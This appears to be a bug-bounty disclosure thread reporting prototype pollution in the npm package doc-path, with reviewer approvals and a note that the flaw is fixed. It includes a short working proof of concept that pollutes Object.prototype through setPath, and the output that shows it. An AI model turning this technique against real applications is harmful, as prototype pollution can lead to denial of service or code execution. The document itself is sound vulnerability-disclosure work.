Prototype Pollution in doc-path

[mohanl0l]

✍️ Description

doc-path is vulnerable to Prototype Pollution.
This package allowing for modification of prototype behavior, which may result in Information Disclosure/DoS/RCE.

🕵️‍♂️ Proof of Concept

1. Create the following PoC file:

// poc.js
var docPath = require("doc-path")
var obj = {}
console.log("Before : " + obj.polluted);
docPath.setPath(obj , "constructor.prototype.polluted", "Yes! Polluted");
var obj1 = {}
console.log("After : " + obj1.polluted);

2. Execute the following commands in another terminal:

npm i doc-path # Install affected module
node poc.js #  Run the PoC

3. Check the Output:

Before : undefined
After : Yes! Polluted

💥 Impact

It may lead to Information Disclosure/DoS/RCE.

✅ Checklist

In my pull request, I have:

• Created and populated the README.md and vulnerability.json files
• Provided the repository URL and any applicable permalinks
• Defined all the applicable weaknesses (CWEs)
• Proposed the CVSS vector items i.e. User Interaction, Attack Complexity
• Checked that the vulnerability affects the latest version of the package released
• Checked that a fix does not currently exist that remediates this vulnerability
• Complied with all applicable laws

[Mik317]

Hi @m0hanlal 😄,
thanks for taking the time to submit to us this amazing disclosure 👍

LGTM 😄 🍰

PS: Did you join our Discord server? https://discord.gg/wkPS6yx

Cheers,
Mik

[ghost]

LGTM! Can you fix the JSON so it passes validation and we'll get this merged 👍

[mohanl0l]

Updated the JSON file

[alromh87]

Fixed @ mrodrig/doc-path@872ff95

[benharvie]

LGTM 👻

Testing purposes ❤️